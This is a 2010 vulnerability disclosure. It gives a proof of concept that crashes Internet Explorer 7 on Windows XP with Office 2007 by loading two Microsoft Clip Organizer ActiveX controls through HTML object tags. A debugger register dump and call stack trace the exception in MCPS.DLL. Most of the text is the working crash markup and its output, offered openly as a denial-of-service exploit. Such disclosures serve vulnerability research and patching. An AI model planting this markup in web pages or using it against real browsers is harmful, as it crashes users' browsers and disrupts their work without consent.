# IE 7.0 - DoS Microsoft Clip Organizer Multiple Insecure ActiveX Control
#
# Date: 19th july 2010
#
# Author: Dinesh Arora & Beenu Arora
#
#
# Affected / Tested Version of IE : 7.0 / WinXP SP3 / MS Office 2007
#
# contact: dinesh.dinoo@gmail.com, beenudel1986@gmail.com
#
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly
#
# Shoutz to : http://www.garage4hackers.com , www.beenuarora.com
POC:
<!--
COM Object - {0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE} MC Euro Lexical Analyzer
*******************************************************************************
COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL
Major Version : 12
Minor Version : 0
Build Number : 4518
Revision Number : 1014
Product Version : 12.0.4518.1014
Product Name : Microsoft Clip Organizer
-->
<object id=TestObj classid="CLSID:{0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE}" style="width:100;height:350"></object>
<!--
COM Object - {0051FAAD-74C8-4057-8A85-1CFBF9ABB05C} MC Shared Search Scope
*******************************************************************************
COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL
Major Version : 12
Minor Version : 0
Build Number : 4518
Revision Number : 1014
Product Version : 12.0.4518.1014
Product Name : Microsoft Clip Organizer
*******************************************************************************
-->
<object id=TestObj classid="CLSID:{0051FAAD-74C8-4057-8A85-1CFBF9ABB05C}" style="width:100;height:350"></object>
Register:
EAX 02299BC4
ECX 00000000
EDX 00000000
EBX 00000000
ESP 02299BC0
EBP 02299C14
ESI 02299C8C
EDI 00000000
EIP 7C812AFB kernel32.7C812AFB
kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33
This exception originated from MCPS!DllGetClassObject+6db1.
Function Arg 1 Arg 2 Arg 3 Source
kernel32!RaiseException+53 c06d007e 00000000 00000001
MCPS!DllGetClassObject+6db1 00000000 06029c38 39f34f4c
MCPS!DllGetClassObject+5c6d 39f2a3bc 39f221b4 39f34360
MCPS!DllCanUnloadNow+2b6b 00205cf0 0602a688 06029d64
ole32!CClassCache::CDllPathEntry::DllGetClassObject+2d 00205cf0 0602a688 06029d64
ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+1f 06029d18 0602a688 06029d64
ole32!CClassCache::GetClassObject+38 06029d6c 0602a83c 0602a300
ole32!CServerContextActivator::GetClassObject+f5 77607150 0602a300 0602a83c
ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 0602a300
ole32!CApartmentActivator::GetClassObject+4d 77607154 0602a300 0602a83c
ole32!CProcessActivator::GCOCallback+2b 77607154 00000001 00000000
ole32!CProcessActivator::AttemptActivation+2c 7760714c 0602a15c 00000000
ole32!CProcessActivator::ActivateByContext+42 7760714c 0602a15c 00000000
ole32!CProcessActivator::GetClassObject+48 7760714c 0602a300 0602a83c
ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 003a0043
ole32!CClientContextActivator::GetClassObject+88 77607114 00000001 0602a83c
ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 774eca20
ole32!ICoGetClassObject+334 0602a9dc 00000007 00000000
ole32!CComActivator::DoGetClassObject+93 0602a9dc 00000007 00000000
ole32!CoGetClassObject+1b 0602a9dc 00000007 00000000
urlmon!CoGetClassObjectWrap+33 0602a9dc 00000007 00000000
urlmon!CoGetClassObjectFromURL+2ae 056f8fd0 00000000 00000000
mshtml!CCodeLoad::BindToObject+464 3cf5193c 0602bc00 00000000
mshtml!CCodeLoad::Init+296 0576d538 0602bc00 3cf8d43c
mshtml!COleSite::CreateObject+5a5 0602bc00 05720bf8 05976520
mshtml!CObjectElement::CreateObject+6af 3cee8243 0573a860 00000000
mshtml!CHtmObjectParseCtx::Execute+8 0573a860 00000000 00000000
mshtml!CHtmParse::Execute+43 05720bf8 00000000 0573a860
mshtml!CHtmPost::Broadcast+11 3cedb43d 0577ca50 0573a860
mshtml!CHtmPost::Exec+40a 24a63821 0577ca50 0573a860
mshtml!CHtmPost::Run+13 24a63821 0577ca50 0573a860
mshtml!PostManExecute+dc 0577ca50 24a63821 0573a860
mshtml!PostManResume+9e 0573a860 00000001 0602fdf4
mshtml!CHtmPost::OnDwnChanCallback+10 05952930 0573a860 0602fe28
mshtml!CDwnChan::OnMethodCall+19 05952930 00000000 00000000
mshtml!GlobalWndOnMethodCall+101 0602feb0 3cf513d9 00000000
mshtml!GlobalWndProc+181 005707a2 00000009 00000000
user32!InternalCallWinProc+28 3cf513d9 005707a2 00008002
user32!UserCallWinProcCheckWow+150 00000000 3cf513d9 005707a2
user32!DispatchMessageWorker+306 0602ff64 00000000 0602ffb4
user32!DispatchMessageW+f 0602ff64 053400b8 000001c1
ieframe!CTabWindow::_TabWindowThreadProc+189 056adac8 053400b8 000001c1
kernel32!BaseThreadStart+37 3e25e4fc 056a5cf8 00000000
The assembly instruction at kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33
This exception originated from MCPS!DllGetClassObject+6db1.
